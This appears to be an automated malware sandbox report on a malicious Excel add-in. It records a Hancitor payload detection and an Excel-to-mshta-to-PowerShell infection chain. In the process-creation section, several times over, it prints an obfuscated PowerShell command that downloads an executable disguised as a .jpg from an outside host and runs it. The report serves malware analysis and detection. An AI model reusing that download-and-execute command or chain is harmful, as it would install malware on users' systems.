Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://graph.windows.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://login.windows.local
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://management.azure.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://management.azure.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://messaging.office.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: powershell.exe, 00000002.00000002.350802485.0000000005BA1000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.335236045.0000000005943000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://officeapps.live.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://onedrive.live.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://osi.office.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://outlook.office.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 0708_5355150121.xll	String found in binary or memory: https://sectigo.com/CPS0
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://settings.outlook.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://tasks.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: F2E779D9-2A7F-4724-B0D9-67BDDA1F0003.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 16.3.snd32sys.exe.12f4305.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 16.3.snd32sys.exe.12f4305.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 16.2.snd32sys.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly

Powershell drops PE file

Show sources

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\snd32sys.exe

Jump to dropped file

Source: C:\Users\Public\snd32sys.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 1_3_064950B7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04B2E670
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00643154
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0063A1B7
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0063C250
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0064920D
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00643386
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062D39F
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00629420
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_006435C7
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0065F68B
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00639707
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062D711
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0063C7C0
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0065F7AB
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0064382C
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0065B830
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062D9BB
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00643AA0
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062CB20
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0063CBF0
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00652C03
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00642CE1
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062DC82
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00643D05
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062DF3D
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_00642F13

Source: C:\Users\Public\snd32sys.exe	Code function: String function: 0062B2C4 appears 61 times
Source: C:\Users\Public\snd32sys.exe	Code function: String function: 0062BBA0 appears 50 times
Source: C:\Users\Public\snd32sys.exe	Code function: String function: 0062B2F8 appears 46 times

Source: 0708_5355150121.xll

Static PE information: invalid certificate

Source: snd32sys.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: snd32sys.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 0708_5355150121.xll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED

Source: 16.3.snd32sys.exe.12f4305.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 16.3.snd32sys.exe.12f4305.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 16.2.snd32sys.exe.610000.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 00000001.00000003.225595145.0000000006590000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000001.00000003.224640872.0000000002F76000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000001.00000002.227307568.0000000002F76000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000001.00000003.225197640.0000000002F76000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000002.00000002.348453730.0000000004B30000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000002.00000003.262530252.0000000007E07000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000001.00000003.224221003.0000000002F76000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000001.00000003.225049085.0000000002F76000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLL@10/11@4/4

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3412:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{0A2181D0-DD23-4259-8109-9971A9896497} - OProcSessId.dat

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\snd32sys.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\snd32sys.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 0708_5355150121.xll	Virustotal: Detection: 23%
Source: 0708_5355150121.xll	ReversingLabs: Detection: 17%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /dde
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle c:\Users\Public\snd32sys.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\snd32sys.exe 'C:\Users\Public\snd32sys.exe'
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe 'C:\Windows\SysWOW64\mshta.exe' 'C:\Users\Public\res32.hta' {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' poWerSHEll.eXE -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle 'c:\Users\Public\snd32sys.exe' ; sTart 'c:\Users\Public\snd32sys.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -EX bYpASs -NOp -w 1 WGeT 'http://srand04rf.ru/08.jpg ' -OuTfIle c:\Users\Public\snd32sys.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\snd32sys.exe 'C:\Users\Public\snd32sys.exe'

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Source:

Binary string: c:\HighNature\Straightbusy\conditionSurface\Jobhas\industryCountryfeel.pdb source: snd32sys.exe, snd32sys.exe.6.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\snd32sys.exe

Unpacked PE file: 16.2.snd32sys.exe.610000.0.unpack

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00613560 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

Source: initial sample

Static PE information: section where entry point is pointing to: .img

Source: 0708_5355150121.xll	Static PE information: section name: .img
Source: 0708_5355150121.xll	Static PE information: section name: .ico
Source: 0708_5355150121.xll	Static PE information: section name: .fyjrtr
Source: 0708_5355150121.xll	Static PE information: section name: .rytkrer
Source: 0708_5355150121.xll	Static PE information: section name: .reyery
Source: 0708_5355150121.xll	Static PE information: section name: .txt
Source: 0708_5355150121.xll	Static PE information: section name: .res

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04B212A1 push es; ret
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062B28D push ecx; ret
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062034A push 8BFFFFFFh; ret
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_006208AD push 8BFFFFFFh; ret
Source: C:\Users\Public\snd32sys.exe	Code function: 16_2_0062BBE6 push ecx; ret

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\snd32sys.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\snd32sys.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\snd32sys.exe

Jump to dropped file

Source: C:\Users\Public\snd32sys.exe

Code function: 16_2_00629420 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
